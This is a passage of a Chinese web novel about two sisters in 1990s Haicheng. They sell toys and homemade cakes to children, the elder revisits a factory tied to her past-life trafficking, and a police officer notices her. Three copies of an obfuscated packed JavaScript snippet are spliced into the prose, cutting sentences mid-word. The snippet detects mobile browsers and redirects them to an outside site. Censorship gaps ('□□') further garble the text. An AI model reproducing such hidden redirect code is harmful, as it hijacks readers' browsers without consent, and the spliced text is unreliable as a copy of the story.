明曦做完这一切后不忘严肃叮嘱明月：“海城比老家繁华，但这边危险也不少，咱在火车上不就遇到了人贩子？你平时记住千万不要乱跑，要遇到什么事，比如迷路之类的，就去最近的警察局去。” 明月眨着眼赶紧答应，她这几天都过得很开心，什么心都不用操，倒没想过那么多，这一下听姐姐说这些，才警惕起来，做贼似的前后望了望，生怕哪躲着一个不怀好意的人。 明曦笑起来，也没阻止她。 明曦带着她去的批发市场是自己前世去过的地方，她记得这个批发市场是91年开的，也就是去年新建的，她前世来过几次，不过那都是96年之后的时候了，对于市场现在的情况，她也不太熟悉。 批发市场在长赛区，离这边可不近，坐公交车得转好几趟，要两三个小时才能到。 两人一趟一趟坐下来，狼狈不堪，哪怕是不晕车，也生生给坐得胃里难受。 明曦瞧着明月菜色的脸，问：“喝不喝水？” 明月点点头。 明曦从随身的挎包里拿出水杯，拧开递给她，两三个小时，水都凉得差不多了。 这市场不大，人倒挺多。明曦拉着明月在人群里穿梭，游览于各种小店。 大老远的跑来这个批发市场，就是看重它的进价低，毕竟这时候小孩的玩具各商店都有，那想要卖出东西，那相比于商店就要有自己的优势，能有什么优势呢？也就是在价格上做做手脚了。 小孩只是小，又不傻，他们现在虽然有钱，但也有限，所以她们就要卖的比商店便宜，这样才能吸引到顾客，而且她们体量小，卖起来也不会太多，不会影响到商店的正常生意，不会让商店老板放心上，这样对她们来说最安全。 毕竟强龙还压不了地头蛇呢，更何况她们两个无依无靠的姑娘，为了不招惹麻烦、不影响生活，她们目前还是低调点好，至于后面的事情后面再做打算。 她前世的时候也做过一段时间的小生意，在还没什么手艺的时候，毕竟要养活自己，不过那时处处有江律心队长和周文宣的帮助，再加上那时候又比现在晚几年，城市建设也更完善，所以几乎没遇到什么找麻烦的人。 现在玩具市场价差不多也就几毛几块，批发价更是低，二三十块钱够批发一大堆东西了，明曦和明月一块儿扛着两大包东西又坐了两三小时公交车回去。 刚到家，连歇都没歇，就开始把玩具分门别类地整理好，有什么泡泡胶、玻璃珠、铁皮□□、跳皮筋等，还进了些小女孩喜欢的发卡、头皮筋。 东西刚收拾好，两个人就迫不及待找个筐装着出去卖。 两人来到昨天就看好的地方，把筐往地上一放，就开始吆喊叫卖。 明曦还拿了几样给明月让她在旁边边玩边演示。 8. 大销售 没多长时间，摊子前就有小孩驻足。 明曦介绍说：“看有没有喜欢的，我们家都便宜，比那商店里便宜一毛呢！这多的一毛钱你们还能去商店里买几个糖吃。” 那小孩拿了一个铁皮□□问价：“这多少钱？” “才九毛钱。”明曦说，“商店里是不是得一块？我们这儿是不是更便宜？” 方宏朗点点头，算着是比商店便宜，这时候铁皮□□十分流行，转转拨片，□□就能往前跑，小孩都喜欢玩，正好他家里那个弄丢了，也不犹豫，当下就要掏钱。 明曦顺带着推销起其他东西，“我这才进的玩具木仓，你看是不是跟电视里长得一摸一样，你要不要也买一个？”说着从旁边拿了一把过来，放男孩面前展示。 这时候小孩看那种抗日片、警匪片，都向往当军人警察，拥有一把自己的木仓，明曦不过简单介绍，方宏朗眼里就流露出兴趣来，他问：“那这个多少钱？” “这也比超市便宜，不过比这□□贵，得三块钱，这木仓贵，我也就进了这五把。”明曦先说出她这里卖的更便宜，本着小孩也喜欢占小便宜的性格，让小孩更想要，这样就算后面说出对小孩来说略高的价格来，他们也更容易接受了。 不过三块钱对方宏朗来说的确是有些贵了，他拿着这把吐了漆的玩具黑木仓，反反复复地看，这把沉甸甸的，瞧着比商店里的质量还好些呢！但他心里始终拿不下主意买。 明曦看出他的犹豫，四周看了看，冲小男孩招了招手。 方宏朗不解地凑过去，只听眼前老板压低声音道：“这样吧，这把木仓算我送你……” 话还没说完，方宏朗就不可置信地后仰盯着她。 明曦继续道：“我话还没说完呢，我也不是白送，有条件的。” 这才对嘛，要真是白送，方宏朗也不敢要，毕竟大家都不认识，谁知道她会不会是骗子，他又凑过去听她说。 “我刚刚看你跟那边小孩都一块儿玩，互相之间肯定都很熟悉吧，这样，只要你能给我招揽来客户，有二十个小孩在我这买东西，这把木仓我就免费送你了，你看行不行？” 这一把木仓的进货价才一块钱，摊子上的这些东西最便宜的，利润也能有个8分一毛。 方宏朗站在原地想了想，最后一咬牙答应下来：“行！这片儿我都熟，肯定能给你叫来人，不过可说好了，你这把木仓得收起来，不能再卖给别人了。” 明曦笑了笑，把玩具木仓递给明月，也答应他：“放心，我肯定不骗你。” 方宏朗付了九毛钱拿着铁皮□□就去了不远处的小孩堆里。 明月看着这跟她差不多大的小孩怀疑问：“姐，他真能拉人过来吗？” “能不能的试试嘛，反正就算拉不过来我们也不吃亏，拉过来一个咱就算赚一个。”明曦蹲下把刚才放乱了的玩具重新整理整理，把泡泡胶拿给她说，“你在这边吹这个，说不定就有人看你玩也想玩了呢。” “好。”明月虽然早熟些，但她也还是个小孩呢，对摊子上的玩具天生就有着好奇，只是怕耽误赚钱不敢玩。 明曦刚才真是没看错人，才没一会儿，方宏朗就拉了一拨人过来，还都买了东西，也不知道他刚才是真么跟这些小孩推销的。 等那些小孩买好东西都走后，他道：“刚刚这就八个人了，老板你别记少了。” 明曦笑起来：“不会，我记性好着呢，肯定不会少了你的的。” 方宏朗得了话就又去拉人去了。 摊子上一有人围着，就会吸引更多的人，靠着方宏朗拉的小孩，再加上因为好奇心围上来的小孩，没多长时间，摊子上的东西就被卖得差不多了。 明曦没忘记方宏朗的报酬，把那把玩具木仓递给他，又从摊子上给他抓了几个玻璃弹珠，说：“今天真是谢谢你了，这个也送给你。” 想要长久的留住顾客，就要时不时的大方些，毕竟她们也已经赚到钱，对她们来说不过几个玻璃弹珠而已，但对于小孩可就很珍贵了。 方宏朗没想到除了一开始说好的玩具木仓，这老板还会给他这些，一时有些惊喜，脸上咧开了笑，走前不忘问：“老板，你明天还来吗？我明天要是还给你拉客人，你能还送我玩具吗？” “来！我明天差不多这时候还来这，你要是还能给我拉客人，我就还送。”明曦也豪爽，这小客人可是她们家的“大销售”了！她问，“对了，小朋友，还没问你叫什么名字。” “我叫方宏朗。” “行，宏朗小朋友，今天多谢你了啊。” 收摊的时候，也就剩几样东西没卖出去了，今天已经生意好到超出明曦明月的预期了。 两个人拎着筐子，拐到菜市场去买了菜和肉才回家。 到家后，明月率先去把灯打开，昏黄温暖的灯光亮起，将二人的面庞柔和。 明曦把菜和肉放到小厨房，先和明月坐在床上数钱。 她们今天整整赚了三十块！已经把成本都赚回来了，但才卖了三分之一的货，剩下的东西还能卖个六十块钱呢！要是一天赚三十，不算成本，她们一个月就能赚九百！ 明月光想想这个数字就幸福的要晕过去，手里攥着钱不可置信道：“这也太多了吧！” 明曦笑起来，用钞票在她头上拍了拍，“想得倒美，这钱可赚不了多少天，也就年后这些日子，等小孩都开了学，他们可没多少时间也没多少钱来买玩具了。再说，这边总共就这么多小孩，等玩具都买的差不多了，咱进再多的玩具都不好卖。” 明月被这么一说，刚刚涌上来的喜悦瞬间又压了下去，连忙问：“那怎么办？那我们要怎么赚钱？” 明曦站起来往厨房走，边走边道：“不用急，等吃完饭我再跟你说怎么办。” 明曦一说不用急，明月还真就不急了，现在在她心里，姐姐简直比天上的神仙还厉害，说什么就是什么，说能赚钱那就肯定能赚钱。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14136053|150102||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 今天赚到钱，可不得好好犒劳犒劳自己，明曦跟明月一个下厨一个打下手，炒了一荤一素出来，搭配着白米饭，吃得那叫又香又饱。 吃完后，明月瘫在床上，连根手指头都懒得动，她感叹道：“姐，咱现在的日子真好，天天都能吃上肉。” 这搁陈家的时候，还天天吃肉呢，能不顿顿喝稀饭就不错了。 明曦洗好碗后用干毛巾擦手，闻言笑起来说：“以后会更好的，别说天天吃肉，就是顿顿吃肉都没问题。” 说完她走到日历边看了看日子，拿起铅笔在三月二十二号上重重画了一个圈，看到这个日期，她的脸色也不由得沉了沉。 明月没注意到姐姐的情绪，问：“姐，你吃饭前说的赚钱方法是什么？” 明曦扯了扯嘴角，垂下眼笑了笑回道：“我们现在卖玩具也算是给自己吸引客户，所以我打算再做些小吃跟着玩具一起卖，等玩具卖不动了，就只卖小吃，毕竟玩具玩不玩都行，吃的是每天都得吃，而且现在天冷，食品保存的时间也长一点。” 明月来了兴趣，坐起来问：“那姐你准备卖什么？烤红薯吗？还是糖葫芦？” 她只问了这俩是因为她只知道这俩，明曦失笑摇头：“都不是。” “我准备到时候做些小甜品卖，小蛋糕之类的。” “就跟蛋糕房里那些一样吗？”之前路过过蛋糕房，里面传出来的那种香甜的味道，特别诱人，明月透过玻璃窗往里看过，那些小蛋糕一个个都特别漂亮，上面还插了五颜六色的小伞。 明曦：“差不多吧。”不光是小蛋糕，她还想卖点做法简单的，比如寿司之类。 她前世有在技术学校学过各种小吃的做法，只不过后来生意做大后，她就没亲手做过了，过去了这么长时间，那些做法的具体步骤她也忘记的差不多了，不过没关系，多想想多练练也就回忆起来了。 “等开学了，咱们可以到大学城那边去卖，那边可以价格高一点。”小孩的钱总归还是比较少的，而这个时候能上大学的，大多数还是家境比较好的，毕竟像她们这种家里穷的，连高中都上不起。 不过这些都是借口，明曦低下头，她想去大学城那边是因为想见一个人，一个她为之敬佩，并曾给了她活下去希望的人。 明月自然是不知道这些事情的，不过听姐姐说那边能多赚点钱，一时也很赞同。 明曦看了她一眼，把今天刚买的课本拿出来说：“你这几天就别跟我一块儿出去了，你就在家好好学习，把落下的知识都补上来，姐还等着你拿第一呢。” 明月本来听到说不让她一块儿出去时刚想拒绝，就又听到让她拿第一的话，她一个鲤鱼打挺就从床上起来，往桌子边一坐，翻开书就是学！ 明曦看着她笑，把换下来的脏衣服放到盆里到水龙头下接水搓洗，嫌水太凉，又从茶瓶里兑了点热水进去，洗完后用力将水拧干，甩了甩将衣服展开晾到窗户外面的杆子上。 9. 蛋糕 明曦早上起来先是按照习惯打拳运动，等身上出了汗后就小跑着去买做小吃要用到的材料。 回来的时候明月正坐在桌子边学习，家里的这个桌子不大，两个人吃饭还凑凑乎乎，要是用来看书写字，就委实是有点小了。 明曦道：“等晚上回来去建材厂买些木材回来，我给你钉个大点的桌子，就放窗户旁边，还亮堂。” 明月笑眯眯地点头，放下书过来帮她一起整理买回来的东西。 因为家里厨具不全，所以明曦做的都是不需要烤箱，做法也比较简易的甜品，只是有些原材料，像奶油、奶酪之类，成本较高，又加上目标客户是有压岁钱的小孩，于是明曦将做好的甜品给切成了很小的小块，大概也就是一口的量，量小，定价也就会低，这样就能吸引到更多的客户。 因为是第一天试卖，明曦也怕会卖不出去，这东西又不像玩具，保质期较短，所以她各种品类都只做了一点试试水，也看一下哪种甜品会更受小朋友欢迎。 切好后，这些小甜品往桌子上一摆，看上去五彩缤纷的，明月偷偷咽了咽口水，姐姐在做的时候，厨房就一直飘来香气，直往她鼻孔里钻，小小的房间里都被香甜的气息包裹着。 明曦看到之后笑说：“厨房有没切的，专门给你留的，你去端过来吃吧。” 明月咽着口水摇头：“不用了，姐你都给切了卖吧，要是有剩下的我再吃。”她知道这些东西不便宜，吃的都是白花花的钱。 明曦屈指敲了敲她脑门，笑道：“吃什么剩的，那一块儿就是留着给你看书的时候吃的，还有几块我想着待会儿去一趟警察局，给江队长她们尝尝，人家帮了咱这么多。” “那姐我跟你一起去送吧。”明月一想到可以边吃蛋糕边看书，小脸上的满足藏也藏不住。 明曦瞧着她这表情，心中更是愧疚，小孩子的幸福就是这么简单，可上一世却让她受尽了苦头，她抿起唇笑笑，轻柔地摸了摸明月的顺滑的短发。 两人拎着几块蛋糕走着去警察局，不过她们今天来的不巧，江队长带着人出外勤去了。 明曦眨眨眼，将眼底的失望藏起，把蛋糕递到其他公安手里，笑着道：“那麻烦您把这个交给江队长，这是我自己做的蛋糕，想送给你们尝尝。” 公安接过蛋糕，笑着道谢。 明曦带着明月出去，走出去几步后又回头看了一眼“海西区公安局”的牌子，她本来还以为今天能看到周文宣的。 想罢她深吸口气又振作起来，没关系，日子还长着呢，以后肯定会见到的。 回到家后，明月留在家里学习，明曦带着做好的甜品和玩具到昨天的地方出摊。 东西多不好拿，明曦还特意弄了个小板车推着。 到地方的时候，方宏朗已经在那边等着了，看见明曦，眼神一亮，蹬着腿就跑过来帮忙推小车。 方宏朗看见小车里的东西好奇问：“老板，你除了卖玩具还卖吃的啊？” 明曦笑了笑，道：“待会儿你帮我尝尝好不好吃，给我提提意见。” 小孩子很有礼貌的，直接说送他，他可能还会不好意思，但要说是帮忙，那他是很乐意的，方宏朗看着小蛋糕，拍着胸脯说好。 “谢谢你帮我推车，你自己挑两块吧。”明曦将东西摆好道。 方宏朗小心翼翼捏了两块放进嘴里，咽下去夸道：“好吃！味道比面包店里的还好吃，肯定会有很多人过来买的。”他不是恭维，是真觉得味道好。 明曦笑笑：“那就借你吉言啦。” 方宏朗的视线在小蛋糕上移过，一时有些扭捏起来，不太好意思似的问：“我要是还给你拉客人，你能再给我小蛋糕吃吗？”这些小蛋糕有好多味道呢，他都想尝尝。 明曦看着他羞涩的样子觉得有些好笑，立马答应下来：“行啊，你要是拉的人多，我不光给你小蛋糕吃，还送你玩具。” “好！”方宏朗生怕她后悔似的，连忙跑出去，边跑边道，“我马上就给你带人过来。” 因为昨天积累到了客源，所以今天摊子刚摆上，就有小客人围上来买玩具，明曦便趁机推销小蛋糕。 小孩向来喜欢吃甜食，这些蛋糕又做的十分好看，瞬间便有不少人动心，但价格的确不低了，要四毛钱一块，能买两个肉包了。 明曦看出他们的犹豫，立马用小刀将小蛋糕分成好几份道：“可以先尝尝，要是喜欢吃再买。” 小朋友们犹豫地接过小蛋糕，放进嘴里，小蛋糕入口即化，上面的奶油甜滋滋的。 品尝过后，大多数人都觉得四毛钱虽然贵，但也不是不能买来尝尝。 不过一会儿时间，小蛋糕就被卖掉了一半。 昨天儿子说想吃鱼，舒绣芳拎着菜篮子出来买菜，瞧见路边一个小摊，周围围满了小孩，一时好奇，她便也凑上去看了看。 “小姑娘，这些都是你自己做的吗？” 明曦听见声音抬起头，眼前的女人瞧上去不过四十出头的样子，穿着简单，却很有气质，她笑着回答：“是啊，姐要不要尝尝？要是合胃口再买。”嘴上说着话，手上立马就麻利地切了一小块用签子插着递到人面前。 小姑娘十分热情，嘴又甜，姐姐的叫着，舒绣芳不好意思拒绝，接过签子吃下，不过味道的确是不错，甚至比她之前经常去的蛋糕店里做的还好吃，就是这一小块一小块的太少了。 她略一思索后道：“小姑娘，你把剩下的这些都给我装起来吧，我都要了。” 她话音刚落，就见眼前小姑娘面露为难说：“姐姐，您喜欢我的手艺，愿意全买回去，我特别高兴，因为这是对我的认同，但这次恐怕不能全卖给您，我这些小客人是先来的。” “就是就是，阿姨，我们先来的！”本来还有在纠结的小孩，连忙搭腔掏钱。 舒绣芳这才注意到他们，不好意思地笑笑：“那等小朋友们买完，剩下的我再买。”说完往后面站了站，给小朋友们让位置。 “好嘞！”明曦给小朋友们一份一份地装好卖掉，剩下的全放到一个盒子里递到女人手里，“我明天还在这摆摊，您要是喜欢可以跟我提前预定，我可以给您做个大点的。” 舒绣芳接过盒子笑起来：“好，我要是有需求提前跟你说。” 舒绣芳拎着买好的菜和甜 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14136054|150102||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 品回家做饭，饭刚做好，周正谊和周文宣父子俩就一前一后的到家了。 “怎么样儿子，今天累不累？”舒绣芳将最后一道红烧鱼端上桌，“今天巷口那边有个小姑娘摆摊卖小蛋糕，我尝了一下，味道不错，就买了点回来，你不是喜欢吃这些甜的吗，待会儿吃完饭吃。” 周文宣看见桌子上那被切成方形的小蛋糕点点头，“好。”他今天跑了好几个地方，实在是有些累了，一直在埋头吃饭，连话都不想说。 周正谊瞧他那样，冷哼一声：“当初让你别报公安，大学毕业来接我的班，你不听，以后有你的苦头吃。” 舒绣芳觑着儿子马上就要不耐烦的表情，在桌子下提了丈夫一脚，在他看过来时瞪了他一眼，这人就是刀子嘴豆腐心，明明是心疼儿子辛苦，非得这样子说话，以后老了有他的苦头吃。 又给儿子夹了一块鱼肉说：“你别听你爸瞎说，妈觉得你穿上警服特别精神，再没见过比我儿子还帅气的警察了。” “谢谢妈。”周文宣拨了拨鱼肉笑起来。 “快吃，吃完去洗漱，早点睡觉，你这眼底下都是乌青，是不是最近的案子不太好办？” 周文宣左手并指揉了揉太阳穴道：“是有点棘手。” 周正谊听到这话也不冷嘲热讽了，用担忧的目光悄悄看了他两眼。 吃完饭后，周正谊包揽了洗碗事宜，舒绣芳对周文宣道：“吃点蛋糕甜甜嘴。” 这蛋糕切的小，对周文宣来说就是一口一块。 “好吃吗？”舒绣坊问。 “好吃。” 舒绣芳笑起来：“那我过两天再买一份。” 周文宣点头。 海西公安局里，江律心和徐茗瑞回到办公室，有同事上前道：“江队，上午有个小姑娘给送了盒蛋糕过来，你们不在，我就放你桌上了。” “蛋糕？”江律心疑惑问。 那人点头，补充道：“是之前那个陈小花送过来的。” 徐茗瑞惊讶地笑起来：“是小花啊，她竟然会做蛋糕？快打开尝尝味道怎么样。” 江律心将蛋糕分下去，徐茗瑞吃着自己的那块，连连夸赞：“这个蛋糕真好吃，没想到小花的手艺这么好。” 江律心也笑道：“有一门手艺，在海城也是有个谋生的手段。” 徐茗瑞将自己那份吃完后，眼睛瞄了瞄旁边桌子上的问：“江队，周文宣今天应该不来了吧？” “他今天直接回家，明早来上班。” 听到这话，徐茗瑞伸手慢慢滑到周文宣的桌子上，将那块蛋糕拉过来幸灾乐祸笑嘻嘻道：“哎呀，那真是可惜了，这蛋糕放不久，周文宣是没这个口福了。江队，咱们把这一块分了吃吧。” 江律心觑了她一眼，嘴角噙着笑：“你吃吧，我这上年纪了，吃不了这么甜，还是你们年轻好啊。” “哪儿的话，江队您可还年轻着呢！”徐茗瑞一口咬在蛋糕上，开心地眯起眼睛来，过了会儿像是想起来什么补充道，“之前带小花去租房时就记得咱们有谁也住在那，但当时就是想不起来是谁，这吃着蛋糕才想起来，不就是周文宣住那吗！” 10. 失神 黑暗之中，明曦躺在床上，听着身后平稳的呼吸声，盯着从薄薄的窗帘处透出来的微弱的路灯亮。 她犹豫了一瞬，轻轻掀开被子，起身穿上衣服，将明月的被角掖好后小心翼翼地摸黑出门。 深夜里路上几乎没有人，明曦熟练地朝着一个方向走去，心中没有激动也没有恐惧，而是像宇宙深处的平静。 她要去的地方离这边有点远，路上拦了辆出租车坐上去。 大约半个小时后，出租车停在一家服装厂的不远处。 司机的哈欠打了一半停下，看着前面有些惊奇道：“这么晚了，这怎么还进进出出这么多人。” 明曦看着前方没说话，从口袋里把车钱掏出来递给司机。 也不怪司机会诧异，普通情况下，服装厂大多都是些普通工人，而且这厂瞧着也没多大，这怎么来往这么多看上去就不太正经的人。 明曦下了车后，远远地绕着服装厂走着，在小门处还看到了几张她恨不得立马掐死的面孔，思绪也被瞬间拉进了上一世里。 她前世惊惶地从陈家村逃出来，坐上了南下的火车，可她当时也不过是一个没见识的村姑，身上没什么钱，也没有熟人带着，只有一颗剧烈跳动惶恐不安的心。 那种情况下，最容易吸引一些坏人，而她当时最迫切的想法就是到海城找一份工作，赶快安定下来，好把明月也接过来。 结果就是还没到海城呢，就被不法分子接近，被人骗得晕头转向，一下火车就被人带到了这里。 而那时，她看着巨大的服装厂招牌只以为自己是遇到了好人，谁能想到表面这里表面是服装厂，背地里却在做些见不得人的勾当呢。 明曦还记得当时那名妇女对着一个嘴里叼着烟，吊儿郎当的男的推销她时的情形。 那男的眼神上下扫了她一眼就说：“这次怎么是这个货色，面黄肌瘦的，谁能喜欢？”那挑剔的面容瞬间在明曦脑中浮现。 妇人谄媚讨好道，“你是男人你不懂，女大十八变，她这都是在农村里吃苦吃出来的，你给她喂几天好菜好饭，马上就能白白嫩嫩的。”说着就掀起她被衣服遮住的手臂，以证明她没有撒谎，“你看，她衣服底下都是白的。” 明曦懵懂，生怕别人不要自己，连忙说：“我力气很大，很能干的。” 那男的瞬间不怀好意地笑着，眼睛眯成一条缝，流里流气说：“女人要那么大力气干什么？” 可是干活不就是力气大才好吗？明曦心中困惑，但没有说出来。 她看着妇女将男人拉到一旁私语，看到妇女好像从男人手里接过了什么，两人争执拉扯了一番后，随即都满意地笑起来。 明曦也正式开始了她地狱般的生活…… 思绪回笼，明曦眺望着亮着灯的厂子，赌场、妓院，便是这家服装厂的另一面。 明曦到家的时候，从楼下看到她们家的窗户亮起了灯，她心下一惊，拔腿便跑上楼，拿出钥匙开门。 明月这时候正裹着被子在床上坐着，手里拿着本书，眼睛却担忧地看着门口处，见人进来便问：“姐，你去哪了？怎么去了这么久。” 明曦见她没事，才放下心，脱掉身上臃肿的棉袄回道：“我拉肚子，去公共厕所去了。” “我一直给你暖着被窝呢，你快进来。”明月把位置让出来，等明曦进来后，摸着她身上的寒气笑道，“是不是很暖和？” “嗯。”明曦笑吟吟地看着她，身上是温暖的，心中也是温暖的。 摆了几天摊后，明曦特意选在元宵节前休息了一天，来海城这么多天了，一直忙着赚钱，都没带明月好好逛逛海城。 正好前两天明月刚通过海西六小的入学考试，正月十六开学。 这几年海西区外来人口增多，学生也变多，学校不够，海西六小就是去年刚建的新学校，入学条件相比本地其他学校不算高，在这里上学的大多都是外来务工人员的子女。 这时候回家过年的工人差不多也都回来了，海城相较于她们刚来的时候热闹了好几倍。 明曦带明月来了这边一个有名的古镇，青砖白墙、小桥流水，是区别于北方辽阔豪迈的婉约秀丽，哪怕是在冬天，也韵味十足。 明月眼神痴迷地看着小河两畔古色古香的建筑，“姐，这边真好看，我都不知道该怎么形容了。” 明曦唇角含笑：“那你就好好学习，等知道怎么形容的时候再形容。” 两个人聊着天，一股扑鼻的香气直蹿脑门。 明曦四下张望，看到不远处一家店铺在卖生煎，那股子油香气在这凛冽的冬天中格外诱人。 她看到店铺后果断带着明月过去买了两份，出来玩，自然是要吃好喝好。 两人早上出的门，玩到下午三四点才到家。 第二天继续在老地方摆摊，因为元宵节的缘故，出来买东西的人不少，明曦提前预料到这个情况，所以做了很多甜品，也好趁这个时候多赚点钱。 也不知是不是这几天生意太好，原本就明曦一个人摆摊的地方一下子又涌进来了好几家，卖什么的都有。 不过摊贩多了也挺好，能够吸引更多的客人，带来更多的客流量，明曦对此是喜闻乐见的，但有些人自己卖不出去东西，就会开始嫉妒别人，以为只要把那个最赚钱的挤兑走，他们就能坐拥剩下的客源。 明曦就遇到了这样的蠢人。 几个人凶神恶煞地守在她摊子前，原本动心的客人全都被吓跑。 这几个人明曦都有些脸熟，跟旁边的摊主沾亲带故的，她无奈地扫了一遍旁边有些心虚的几名摊主，不好好做自己的生意，光想这些歪门邪道。 几人中的一个男人对着她摊子上的东西动手，嘴上还问着：“你这都是些啥呀，一看就不是什么好东西，还敢卖这么贵？” “不买别乱动。”明曦毫不掩饰地翻了个白眼，这种人就没必要给他好脸。 “嘿！小姑娘，这就是你做生意的态度啊？这我可给好好教教你……” 明曦打断他的话：“你可别教我了，您要是有这功夫啊，还是想想该怎么把您家的东西卖出去吧！” 那人不怒反笑，“小姑娘有点脾气啊。”说完深深看了她一眼，跟同伴评价起她的长相来，“不过这样仔细一看，小姑娘长得倒是有几分姿色啊。” 其余人跟着露出猥琐的笑容。 明曦皱着眉忍无可忍，伸手攥住这人指过来的手指，用力向后一掰。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14136055|150102||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 周文宣在不远处目瞪口呆地看着这副场景，聪明的没有上前制止，而是观察着情况。 他今天下班早，骑着摩托车刚到路口就看见几个大男人围在一个小姑娘的摊前，没个正经样子，他摘了头盔下车，本来是想亮出身份问问情况的，没想到这个姑娘这么厉害。 那人手指被用力撇，吃痛地后仰弯腰，明曦看着他指甲里的污垢，嫌恶地皱眉，松开手，将人猛地往后一退，那人应力倒地。 事情发生的很快，他的同伙都还没反应过来是怎么回事，就看见他摔了一个屁股蹲，还在抱着蜷不起来的手指哀嚎。 有人想冲上来打明曦，明曦仰头躲开，避着摊子又给了那人一脚。 周文宣看着她这一套连贯的动作，眼中不自觉流露出赞赏，又隐隐觉得她的这些招式有些眼熟。 明曦一连将几个人都打倒，拍了拍手，弯下腰对着面露恐惧的几人说：“你们也犯不着找我麻烦，以后这个地方我就让给你们，我倒要看看就你们这些人的德行，能把这个小市场维持多久。”说完微笑着用眼神扫过在场的所有人。 她愿意把这个地方让给他们倒不是怕他们找麻烦，而是她本来就决定今天是最后一次在这边摆摊，那帮小孩从明天起就开学了，客流量会减少很多。 但相应的，大学城也要开学了，她准备以后就到大学城去摆，大学生手中的钱相比于小学生要宽裕很多，在那边也可以再提点价卖。 不过这些都不是主要原因，主要原因是她想去见一见前世那个充满了理想主义、最后也抱着理想而亡的明泽生，也是给了她前世活下去希望的人。 泽生泽生，泽被苍生。 明曦冷着脸收回眼神，将自己的摊子收拾好，把刚才被人碰过的小蛋糕扔在几人面前，又从其他摊子上拿了八毛钱。 刚刚环境过于混乱，现下才算是安定下来，周文宣也就是这时候才看清这个姑娘的长相。 周文宣愣愣地看着前方，心中充满傻气地想，也许那些武侠小说上说的点穴都是真实存在的，而且说不定是更厉害的隔空点穴，否则他为什么此时会迈不动脚呢。 红霞爬上了他的耳垂，整个人都像是喝醉了般醉醺醺的，等到女孩将东西都收拾好走远了才回过神来，连忙骑车上前，但已经不见女孩踪影。 周文宣瞥了眼旁边骂骂咧咧的摊贩，从怀里掏出证件：“做生意就好好做，别做些影响社会治安的事，这回口头警告，下回再让我看见，就都跟我到局里去。” 几人互相对视，一减嚣张气焰，有些唯唯诺诺地答应。 周文宣心底空落落地回到家，连舒绣芳叫他吃饭都没听见。 舒绣芳看着失了神一样的儿子，诧异嘟囔着：“这是被勾了魂了？” 是啊，可不就是被勾了魂了吗？ 周文宣仰躺在床上，手臂枕在头下，眼睛失焦地盯着天花板瞧，脑子里却跟放电影似的一帧一帧放着傍晚的那一幕幕。 他越想脸越红，伸手将被子蒙过头顶，准备明天上班的时候抽空过来看一下。 那几个男人一看就不是善茬，明天估计还会找那女孩麻烦的，他明天提前过来保护她，周文宣心中如是想，全然忘了是谁占上风。 11. 汤圆 明曦没把傍晚发生的事放在心上，她收了摊后就去了菜市场，今天是元宵节，她要和明月好好过节。 陈家村不怎么过元宵节，或者说穷人都不会重视除了过年以外的节日，因为重视就意味着要花钱，而他们最缺的就是钱。 但海城节日氛围却很浓，明月前两天就开始问她元宵节要怎么过，是不是要吃饺子，她们北方过年都是吃饺子的。 明曦当时笑着摇头：“咱们吃汤圆。” 明月不知道汤圆是什么，但对今天晚上很是期待。 菜市场有卖成品汤圆的，明曦买了一点，没买太多，这东西吃多了不好消化，她另外又买了肉和菜回去。 这时候天还没黑透，远处的天边莹莹亮着，干净的连一朵云都没有。明曦抬头，正看见明月坐在窗边期待地朝外看，看见她后脸上立马就绽开一抹灿烂的笑。 房间里温馨的灯静静亮着，笼罩着明月的身影，明曦站在楼下，心中满足而安逸，明月正等着她回家。 进家后，明月翻看着菜篮子，瞧着里面圆滚滚的白丸子问：“姐，这就是汤圆？” 明曦擦了擦手上的水应声：“对，咱今晚就吃这个，你先把水烧开，跟下饺子一样，水开了就可以把汤圆下进去了。” 明月兴奋答应，洗完手后就去开煤气烧水。 明曦瞧她这么高兴，笑了笑，拉过旁边的小板凳坐下，处理买回来的食材。 汤圆先做好，明曦让明月先吃，明月摇头，她想等姐姐一起吃。 明曦挥着锅铲看了一眼她，小家伙此时正守在两碗汤圆旁边，别有兴致地盯着汤圆瞧。 明曦默默加快了手中的力道和速度，快速将锅里炒着的菜盛出来。 她们俩饭量不算多大，平常两个人炒两个菜就够吃了，但今天毕竟过节，不算汤圆，明曦烧了三菜一汤出来。 炒土豆丝、红烧肉、青椒炒蛋，和紫菜蛋花汤。 饭菜的香味瞬间铺满小房子，明月迫不及待地捞了个汤圆放进嘴里，因为被盛出来的早，所以汤圆进入口腔的温度适宜，她鼓着嘴咀嚼，汤圆里面的黑芝麻馅在嘴里炸开，甜甜的裹在舌尖上。 “姐，这里面有馅！好甜好好吃。”嘴里有东西，发出的声音黏黏乎乎的。 